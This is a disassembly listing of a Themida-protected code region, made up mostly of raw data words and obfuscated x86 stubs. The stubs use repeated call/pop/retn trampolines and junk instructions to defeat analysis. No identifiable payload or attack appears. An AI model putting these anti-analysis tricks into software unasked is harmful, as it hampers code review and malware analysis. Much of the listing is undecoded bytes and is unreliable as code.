dd 24448104h, 1B04h, 0C3534300h, 7C6623A1h, 0D7640560h
dd 1549BD8Bh, 8B660614h, 7E950DAh, 3D000000h, 0E778DD73h
dd 34898F73h, 0C99D8B24h, 0FF061402h, 17AA98B5h, 52006A06h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
dd 0F8D7217Bh, 0FC8AE73h, 81h, 0B195FF00h, 6A061402h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
dd 9DBDC357h, 35A3C79h, 899D8BC5h, 0FF061424h, 17AA98B5h
dd 0D9BF0F06h, 68A0Fh, 85890000h, 61412C9h, 308195FFh
dd 81660614h, 83901CCFh, 1409F5BDh, 840F0206h, 3Eh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0ACC35343h, 860064E0h
dd 18D9BD09h, 858B0614h, 6142D01h, 0C60AB7h, 8E900h, 2EB20000h
dd 8496AC0Ah, 85C7953Dh, 614244Dh, 0
; ---------------------------------------------------------------------------
push 0
push eax
call sub_59972F
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59972F proc near ; CODE XREF: Themida_:00599727p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 14h
inc eax
push eax
retn
sub_59972F endp
; ---------------------------------------------------------------------------
db 36h
dd 81BD8Bh, 53E90614h, 6AFFFFF4h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 3343C356h
dd 1242AB92h, 4EDE12B5h, 6AC18Bh, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1D0424h, 57470000h, 0E5F8C9C3h, 0AFA4E4D2h
dd 8161B145h, 0DE7809F3h, 99858D1Dh, 0BF06140Fh, 4110153h
dd 68B0F90h, 60000000h, 0D78BD88Ah, 8E0F5061h, 0
db 90h
; ---------------------------------------------------------------------------
and ebx, 6BBFB44Ch
xor ebx, [ebp+61400FDh]
push 0
push 0
push ebp
call sub_5997D6
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5997D6 proc near ; CODE XREF: Themida_:005997CEp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ch
inc ebp
push ebp
retn
sub_5997D6 endp
; ---------------------------------------------------------------------------
push ebp
and edi, [edx-2Ch]
db 66h
das
mov byte ptr [ebx+23h], 6Ah
add [edx+0], ch
push edx
call sub_5997FC
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5997FC proc near ; CODE XREF: Themida_:005997F4p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ch
inc edx
push edx
retn
sub_5997FC endp
; ---------------------------------------------------------------------------
and ebx, [ebx]
cmc
or [eax-2D5DD126h], edx
mov ebx, [ebp+61431B1h]
lea eax, [ebp+6190DA2h]
add [ebp+6142E8Dh], esi
add eax, 5
push 0
push edi
call sub_599835
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_599835 proc near ; CODE XREF: Themida_:0059982Dp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 16h
inc edi
push edi
retn
sub_599835 endp
; ---------------------------------------------------------------------------
xchg dh, al
mov bh, 90h
jz loc_599851
mov bl, 0BDh
loc_599851: ; CODE XREF: Themida_:00599849j
push eax
mov bx, 0E52Dh
nop
add edi, [ebp+61409DDh]
push 0
mov [ebp+6142A15h], ecx
push 0
push 0
push edx
call sub_599872
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_599872 proc near ; CODE XREF: Themida_:0059986Ap
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 14h
inc edx
push edx
retn
sub_599872 endp
; ---------------------------------------------------------------------------
fimul word ptr [ebx+140E55BDh]
push es
mov [ebp+6141B21h], edx
call dword ptr [ebp+6141A71h]
push 0
push ebx
call sub_5998A0
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5998A0 proc near ; CODE XREF: Themida_:00599898p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 14h
inc ebx
push ebx
retn
sub_5998A0 endp
; ---------------------------------------------------------------------------
ror byte ptr [ebp+17A8FC8Dh], 1
push es
push 0
push edx
call sub_5998C2
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5998C2 proc near ; CODE XREF: Themida_:005998BAp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 19h
inc edx
push edx
retn
sub_5998C2 endp
; ---------------------------------------------------------------------------
xor bl, ah
jmp short loc_599923
; ---------------------------------------------------------------------------
dw 2569h
; ---------------------------------------------------------------------------
call ecx
push 0
push ecx
call sub_5998E5
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5998E5 proc near ; CODE XREF: Themida_:005998DDp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Dh
inc ecx
push ecx
retn
sub_5998E5 endp
; ---------------------------------------------------------------------------
adc byte ptr [edx+edi-68h], 19h
sti
inc edx
retn 35D1h
; ---------------------------------------------------------------------------
xor ebx, [ebp+6140651h]
cmp dword ptr [ebp+61412CDh], 1
jnz loc_599981
add bh, 23h
push 2
push 0
push edi
call sub_599922
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_599922 proc near ; CODE XREF: Themida_:0059991Ap
arg_4 = dword ptr 8
pop edi
loc_599923: ; CODE XREF: Themida_:005998D4j
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 18h
inc edi
push edi
retn
sub_599922 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
sbb bh, [eax+667BD445h]
adc ebx, 8B665025h
dec byte ptr [ecx+14246D8Dh]
push es
nop
push eax
mov edi, 3ECB2E6h
nop
push 0
push ebp
call sub_599958
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_599958 proc near ; CODE XREF: Themida_:00599950p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ah
inc ebp
push ebp
retn
sub_599958 endp
; ---------------------------------------------------------------------------
dd 2B45C976h, 6682A419h, 0FF6080BFh, 14093995h, 0C7815306h
dd 130B3C9Eh
; ---------------------------------------------------------------------------
pop edi
loc_599981: ; CODE XREF: Themida_:0059990Cj
jmp loc_59A6BB
; ---------------------------------------------------------------------------
dw 0E8h
dd 5D000000h, 0DACED81h, 0BD8B0619h, 6140611h, 0B8A0Fh
dd 6E90000h, 0B5000000h, 6BCFEFFFh, 23858DC0h, 0E9061796h
dd 7, 20FED821h, 506B708Ch, 489D98Bh, 0CE924h, 6A8A0000h
dd 9047214Bh, 1F8F5A8h, 95898042h, 6141D3Dh, 35FF64h, 0F000000h
dd 8964F9B7h, 25h, 919D8B00h, 0FF061419h, 14236D85h, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
dd 17C8EF3h, 142B81BDh, 0DDBD8B06h, 89061408h, 1422918Dh
dd 6AFF6A06h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 19042444h, 45000000h, 0CEBC355h, 0D2B14483h, 23E59D89h
dd 0D7800614h, 0D5B5FFABh, 6A061400h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 18042444h, 40000000h, 7658C350h
dd 0E9A9C64Dh, 10h, 0DAE26930h, 0E9B68718h, 0A5E073CAh
dd 0C5B557A2h, 2B1995FFh, 28E90614h, 60000001h, 0A4E08166h
dd 61C18AE8h, 9D3100B0h, 61412D9h, 7C3D29BBh, 0E970E61Ch
dd 9, 0C7902C4Dh, 424814C7h, 0F71E4C1h, 68Eh, 0D59D0300h
dd 3C061410h, 0EC830F61h, 60000000h, 3845B966h, 14E19D89h
dd 0F610614h, 0E957C8B6h, 5, 0AB01F36Bh, 6BA5F8Bh, 89000000h
dd 14258595h, 81C18B06h, 0E6958FC3h, 4E8C16Eh, 0FE2F766h
dd 28Ah, 2BFB8B00h, 0F88B66C8h, 1B4DDB81h, 0D18B7361h
dd 0C08160h, 0E811FDAAh, 9, 0F641BDE6h, 0C9170E1Ah, 55852914h
dd 5E06142Eh, 81E961h, 0FE8A0000h, 4E49858Bh, 0BD034400h
dd 61403E1h, 8307C083h, 0F9BB00C0h, 3B235EE9h, 0E830FD0h
dd 23000000h, 1405A5BDh, 55E906h, 8B660000h, 0FF8D8BDFh
dd 29FFFFFFh, 142AF1B5h, 1E18306h, 3D840Fh, 0DE90000h
dd 0C000000h, 0E4661B1Eh, 6D5D31E8h, 0B854AEE7h, 79EB8166h
dd 0FFA58363h, 0FEFFFFFFh, 0D9D8BF8h, 89061420h, 4E4995h
dd 85BE6044h, 89644048h, 141D6195h, 0E96106h, 8D000000h
dd 188C5FB5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1704h, 0C3514100h, 0F27C38ADh, 6AF98Bh, 909BD29h, 0FD8A0614h
dd 116995FFh, 0BE80614h, 0C0000000h, 0D424BC62h, 16BB1478h
dd 5BFC81FBh, 0ED4B9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1B04h, 0C3564600h, 0FA0140BDh, 0F7D471C9h
dd 6AFCE183h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 18042444h, 46000000h, 0F9FCC356h, 0FC59F6Eh, 0B8Bh
dd 6E900h, 7B2F0000h, 0D37CA7DAh, 819D89FCh, 2B06140Ch
dd 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h
dd 0C3574700h, 623013Bh, 49858959h, 2B06142Ch, 1DB589D2h
dd 6006142Bh, 631BD8Bh, 4CBB0614h, 613B56A6h, 0D1C233ADh
dd 83D003E8h, 0F47504E9h, 0DE30BF66h, 2561B529h, 880D0614h
dd 66000000h, 8BD3A3BBh, 14322995h, 52006A06h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 0F4EB7E2h
dd 8D8BFBB7h, 614064Dh, 2B05BD8Bh, 8B500614h, 3188BC2h
dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 15h, 81C35141h, 499D8B27h, 0F061404h
dd 0BD83FEBFh, 61429ADh, 5C840F00h, 8B000000h, 1421299Dh
dd 0B806h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1A0424h, 55450000h, 6E55ADC3h, 65B31643h, 935B589h
dd 0DF8B0614h, 4D798D8Dh, 6A0614h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 150424h, 56460000h, 0FF3BF9C3h, 83D7B7E1h
dd 142671BDh, 840F0006h, 41Fh, 302D9D8Bh, 0BD830614h, 6142671h
dd 27840F01h, 0F000004h, 0BD83FFB7h, 6142671h, 0E1860F03h
dd 8B000003h, 8C6660DFh, 57006AD9h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1404h, 0C3574700h, 4E180C9h, 8FDBD89h, 0C90A0614h
dd 14C840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 190424h, 57470000h, 0C4FDA0C3h, 8BAC4235h, 142B999Dh
dd 25BD8B06h, 57061408h, 0FE8h, 6D16D500h, 0E184BA32h
dd 0DABFA2BDh, 5D33C453h, 5BD98B66h, 69858B5Fh, 0E9061419h
dd 9, 6388631Ch, 993E69D4h, 818533A3h, 0B706141Bh, 0BF6650BFh
dd 489F3DDh, 0BDB53124h, 6A061421h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1604h, 0C3504000h, 681930BBh
dd 0D1C706E6h, 11E9h, 0F1CEA600h, 6080859Dh, 98A706D9h
dd 90229DFCh, 481DBBDh, 57FD1924h, 56006A2Eh, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 0F24E564Fh
dd 89C5D593h, 140D0DBDh, 0AD95FF06h, 6A061409h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
dd 0F93CC351h, 290E072Eh, 14106D8Dh, 1BD8B06h, 8906140Dh
dd 17AA9885h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1A04h, 0C3564600h, 0D2126155h, 0E9B1B73Bh, 7, 74895F71h
dd 0E9988D60h, 1F1h, 0D18D89h, 858B0614h, 617AA90h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0F2C35343h, 0BE82B6Fh
dd 5000000h, 80FF808Ah, 444681Ah, 0FE9B389h, 0A5000000h
dd 0E2E5C804h, 69855C3Eh, 0B776E22Dh, 0C75BBF02h, 1800h
dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h
dd 0C3534300h, 0CCC16018h, 0B2BA78CAh, 0DF8BC05Fh, 0AA94B58Bh
dd 6A0617h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
dd 56460000h, 25963FC3h, 2B059D89h, 858B0614h, 6140B29h
dd 6860Fh, 0BD890000h, 6140B09h, 8E90689h, 97000000h, 1FF0715h
dd 8B1F153Fh, 14196985h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1704h, 0C3574700h, 0AD19828Bh, 0BD1BD8Bh
dd 46890614h, 0FFB70F04h, 188F0F96h, 0E8000000h, 10h, 67209FE3h
dd 0E45AFFFAh, 0BF28ACh, 0DEA6F8Bh, 505BB5B7h, 96DE8B66h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 6FC35040h
dd 61612294h, 90B5FFE6h, 6A0617AAh, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0D8CEC357h
dd 1278F2E5h, 0BD898BC3h, 6143215h, 218DB589h, 0E9680614h
dd 56DE385Eh, 5BDA8B66h, 16240481h, 8921E6A5h, 142BD1BDh
dd 98858D06h, 6A0617AAh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1C042444h, 41000000h, 2C4DC351h, 14C7C790h
dd 66C14248h, 50E844BFh, 73CC2ABBh, 24048928h, 29919D8Bh
dd 95FF0614h, 61409ADh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 18h, 81C35747h, 0BCE59ACEh, 10C4BCBFh, 9D89612Fh
dd 61424A5h, 267185C7h, 30614h, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0F29C24C3h
dd 14D19D33h, 0BD830614h, 617AA98h, 35840F00h, 8B000000h
dd 142C7DBDh, 45E906h, 6A0000h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
dd 0D75DEC3h, 0B5C47D2Ah, 0B7E37094h, 0DF8B661Eh, 110C3050h
dd 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h
dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
dd 31E7C356h, 9495C22h, 1415C99Dh, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 80629C74h
dd 74549A67h, 2671BD83h, 0F030614h, 42385h, 68C0F00h, 81000000h
dd 0BF37E4EBh, 98BD8336h, 617AAh, 40A840Fh, 0B70F0000h
dd 95BD8BF8h, 0FF06142Eh, 17AA98B5h, 7DE1BF06h, 95FF0933h
dd 6142AF5h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 16h, 42C35040h, 9531F33Dh, 6140A49h, 0AA8CB58Bh, 0CB800617h
dd 106C735h, 6A000100h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 16042444h, 42000000h, 6E72C352h, 0CE862h
dd 8D250000h, 0FD953A8Bh, 0C435FEE7h, 6660CF2Dh, 5621EAB8h
dd 895B6158h, 1425ADBDh, 8B665006h, 243489F8h, 921BD8Bh
dd 0B5FF0614h, 617AA98h, 0FFFC70B7h, 140B3195h, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
dd 9C1ACC71h, 671B531h, 0B58B0614h, 617AA8Ch, 0B5315F56h
dd 6142FADh, 21D5858Bh, 81660614h, 891D52EFh, 0C486h, 68F0F00h
dd 89000000h, 142599BDh, 29958B06h, 0FC061432h, 6A04C283h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h
dd 41000000h, 733AC351h, 50896FD0h, 56006A20h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 0B67081F4h
dd 0A1E04FDCh, 9D8BE698h, 61403ADh, 799D0360h, 89061423h
dd 142E959Dh, 858D6106h, 617BE06h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 15h, 0D4C35646h, 8E99Fh, 0E2E60000h
dd 0EA585681h, 8689B440h, 0B8h, 649BD09h, 6A0614h, 22898D89h
dd 0B5FF0614h, 617AA98h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Dh, 43C35747h, 0BD5C56ADh, 6559830Fh, 9D8BFC88h
dd 614085Dh, 93995FFh, 0B5890614h, 614035Dh, 8880F96h
dd 0F000000h, 28Ch, 50616000h, 2850Fh, 0FD8A0000h, 0C59D8B96h
dd 0FF061418h, 17AA98B5h, 50006A06h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1404h, 0C3504000h, 11800FEDh
dd 0E9000000h, 0Ch, 488D10FBh, 331D16C5h, 5BFDE144h, 20F595FFh
dd 6A0614h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
dd 55450000h, 0E01F3AC3h, 29921951h, 7DBD2384h, 8B06141Dh
dd 142B8DBDh, 21BD8306h, 6140Ch, 82840Fh, 6A0000h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
dd 86D6B6C3h, 97C1AD84h, 30F1B509h, 0E8500614h, 6, 841E9FA1h
dd 11E95005h, 2000000h, 7FDA63E6h, 0D5D31AADh, 0A2E58885h
dd 4BF58D17h, 2434895Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 18h, 0B8C35646h, 622B7811h, 0E9DF8B66h, 0Ch
dd 12A2EEB4h, 430E8ED5h, 5C881676h, 0AA98B5FFh, 6A0617h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
dd 40C18CC3h, 0A14BEAE5h, 0FFDF8B11h, 1402B195h, 52006A06h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
dd 3F25694Dh, 0BD89D8A9h, 614318Dh, 0AA98B5FFh, 6A0617h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
dd 7C4AB6C3h, 0B8B6BB66h, 308195FFh, 14E90614h, 0EC000000h
dd 0EE777A9Ch, 0C300C7C3h, 775B2631h, 2D1F9E9h, 83D969C9h
dd 1409F5BDh, 840F0206h, 34h, 0D4D9589h, 858B0614h, 6142D01h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0DCC35242h
dd 0A9831F93h, 0C67B64h, 74E78000h, 244D85C7h, 614h, 6A0000h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
dd 0EB937C3h, 9D89D434h, 614251Dh, 0FFF3A8E9h, 0DE9FFh
dd 0DF080000h, 0C200C014h, 0B78FFA97h, 8B5D91D5h, 51006AC1h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
dd 2F972DBCh, 92DB2461h, 64BB14E3h
db 0DCh, 0D6h, 68h
; ---------------------------------------------------------------------------
loc_59A6BB: ; CODE XREF: Themida_:loc_599981j
lea eax, [ebp+6140F99h]
push 0
push ecx
call sub_59A6CC
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59A6CC proc near ; CODE XREF: Themida_:0059A6C4p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 19h
inc ecx
push ecx
retn
sub_59A6CC endp
; ---------------------------------------------------------------------------
cmp eax, 0B78D9900h
retn
; ---------------------------------------------------------------------------
push eax
loc_59A6E3: ; CODE XREF: Themida_:0059A712j
jmp loc_59A6F0
; ---------------------------------------------------------------------------
dd 0E02D2768h, 0D61BEE5Fh
; ---------------------------------------------------------------------------
loc_59A6F0: ; CODE XREF: Themida_:loc_59A6E3j
mov [esp], eax
push 0
push 0
push edx
call sub_59A700
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59A700 proc near ; CODE XREF: Themida_:0059A6F8p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 18h
inc edx
push edx
retn
sub_59A700 endp
; ---------------------------------------------------------------------------
stc
push cs
jz short loc_59A6E3
cmpsb
mov edi, [ebp+6140969h]
push 0
push 0
push edi
call sub_59A728
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59A728 proc near ; CODE XREF: Themida_:0059A720p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 15h
inc edi
push edi
retn
sub_59A728 endp
; ---------------------------------------------------------------------------
mov ch, 65h
mov ebx, [ebp+614321Dh]
and di, 917Bh
lea eax, [ebp+6191D57h]
mov di, ax
add eax, 5
push 0
push eax
call sub_59A75C
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59A75C proc near ; CODE XREF: Themida_:0059A754p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Dh
inc eax
push eax
retn
sub_59A75C endp
; ---------------------------------------------------------------------------
movsb
mov esi, 693DB07Dh
xor eax, 669617D5h
mov edi, 0B790ABEFh
db 3Eh
push eax
pusha
jno loc_59A790
jmp loc_59A790
; ---------------------------------------------------------------------------
dw 0A879h
dd 0ED976B14h
; ---------------------------------------------------------------------------
loc_59A790: ; CODE XREF: Themida_:0059A77Fj
; Themida_:0059A785j
popa
nop
sub [ebp+6142B05h], edi
jmp loc_59A7A2
; ---------------------------------------------------------------------------
db 0DBh, 1Eh, 68h
db 28h, 6Bh
; ---------------------------------------------------------------------------
loc_59A7A2: ; CODE XREF: Themida_:0059A798j
push 0
mov edi, [ebp+61404DDh]
push 0
push 0
push esi
call sub_59A7B7
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59A7B7 proc near ; CODE XREF: Themida_:0059A7AFp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 18h
inc esi
push esi
retn
sub_59A7B7 endp
; ---------------------------------------------------------------------------
xor [ebx-1Bh], edx
fstp tbyte ptr [ebp-1]
xchg eax, ebp
jno short loc_59A7EA
adc al, 6
push 0
push eax
call sub_59A7DD
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59A7DD proc near ; CODE XREF: Themida_:0059A7D5p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 19h
loc_59A7EA: ; CODE XREF: Themida_:0059A7CEj
inc eax
push eax
retn
sub_59A7DD endp ; sp-analysis failed
; ---------------------------------------------------------------------------
mov cl, dh
dec ebp
push cs
inc eax
push 4C18589h
adc al, 6
lea ecx, [ebp+617A8FCh]
push 0
push edx
call sub_59A80A
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59A80A proc near ; CODE XREF: Themida_:0059A802p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Dh
inc edx
push edx
retn
sub_59A80A endp
; ---------------------------------------------------------------------------
dw 9BABh
dd 8DB13963h, 0C23803DFh, 8880Fh, 89600000h, 1434BD8Dh
dd 0D1FF6106h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Ah, 9BC35141h, 847995DEh, 0BD83FA5Eh, 61412CDh, 0D3850F01h
dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 14042444h, 43000000h, 0E93FC353h, 10h, 9D31281Eh, 6D11A745h
dd 0CC29EAB3h, 0C4A92332h, 0F98B6652h, 6A026A5Fh, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
dd 6F63C355h, 66B78AF2h, 7E87598h, 0C4000000h, 0F2B08CE0h
dd 8B66DD55h, 0E9505BF8h, 5, 0B769EFC9h, 2404897Fh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 4C35343h, 6178B73Ch
dd 0E971DE9Fh, 6, 76A1E0Dh, 0BB667B0Ah, 95FFCC92h, 6140939h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0CEC35747h
dd 0DD43CBEDh, 0D2E9D5B3h, 0E800000Ch, 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 6191D61h
push 0
push edx
call sub_59A952
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59A952 proc near ; CODE XREF: Themida_:0059A94Ap
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 19h
inc edx
push edx
retn
sub_59A952 endp
; ---------------------------------------------------------------------------
dw 0E26Bh
; ---------------------------------------------------------------------------
push esp
fsub qword ptr [ebp-23h]
movsx ebx, si
mov ebx, 5D2D9014h
lea eax, [ebp+6179623h]
movsx edi, cx
push eax
jnp loc_59A985
mov edi, 3E9551C7h
loc_59A985: ; CODE XREF: Themida_:0059A97Aj
mov [esp], eax
push large dword ptr fs:0
push 0
push ecx
call sub_59A99A
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59A99A proc near ; CODE XREF: Themida_:0059A992p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Bh
inc ecx
push ecx
retn
sub_59A99A endp
; ---------------------------------------------------------------------------
lea edx, [ebx]
or [eax-2Fh], ah
retf
; ---------------------------------------------------------------------------
dd 0CE826F7h, 54000000h, 7D49A113h, 848AA61h, 89DBEE1Fh
dd 14052585h, 89645B06h, 25h, 0CB816600h, 9589BE2Ch, 61434D1h
dd 236D85FFh, 7E90614h, 31000000h, 0C197EF77h, 6AFCB5D9h
dd 0B99D8BFFh, 8B06142Ah, 140379BDh, 95B5FF06h, 6A06142Ch
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h
dd 45000000h, 128EC355h, 397E6189h, 74DC3586h, 0FF88C380h
dd 142B1995h, 0D7E906h, 0BF0F0000h, 6600B0DBh, 0CD66F781h
dd 0E4F570E6h, 95EF8071h, 830F613Ch, 0BDh, 8BC8B60Fh, 1430E99Dh
dd 6BA06h, 0F3B30000h, 1D719D8Bh, 0C18B0614h, 0D9816660h
dd 0BA662FB3h, 0C161FCB8h, 0E96004E8h, 10h, 0F833712Eh
dd 0A00FC4DFh, 18C35979h, 7B1D3F6h, 1635B589h, 66610614h
dd 0BD8BE2F7h, 6140335h, 0D18BC82Bh, 25CD8531h, 62E90614h
dd 89000000h, 14266DBDh, 4C858B06h, 29505F4Ch, 1409FD85h
dd 7C08306h, 0BB00C083h, 4F562C78h, 830FD03Bh, 9, 37E9F9h
dd 8AF90000h, 0FF8D8BDAh, 83FFFFFFh, 840F01E1h, 25h, 1FB5BD31h
dd 0A5830614h, 0FFFFFFFFh, 9D0BF9FEh, 6140825h, 4C4C9589h
dd 9D89505Fh, 6140C1Dh, 0E9h, 33B58D00h, 6A06189Bh, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
dd 8A3CC350h, 0FA8B66D9h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 140424h, 57470000h, 0FFF886C3h, 14116995h
dd 6890F06h, 2B000000h, 141939BDh, 1DB52906h, 0B9061406h
dd 105Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 14h, 6DC35646h, 2A558531h, 0E1830614h, 55006AFCh, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
dd 1DFA3D73h, 59B501FCh, 2B06142Ah, 0BAC0h, 6A0000h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
dd 440961C3h, 9D29D757h, 61415FDh, 0D1C233ADh, 83D003E8h
dd 0F47504E9h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 14h, 0C9C35242h, 0CC2137BFh, 50006A72h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1904h, 0C3504000h, 1F9ECAC2h
dd 880D0924h, 8B000000h, 29958BD8h, 89061432h, 142ED9B5h
dd 4D8D8B06h, 6A061406h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1C042444h, 43000000h, 9C62C353h, 0A20BA410h
dd 0E91CD28Dh, 0Dh, 54348E9Bh, 356584FEh, 0AC5E479h, 1CBF6631h
dd 0C28B5086h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 0F958188Bh
dd 29ADBD83h, 0F000614h, 1984h, 0B8F900h, 66000000h, 8DBBA5BFh
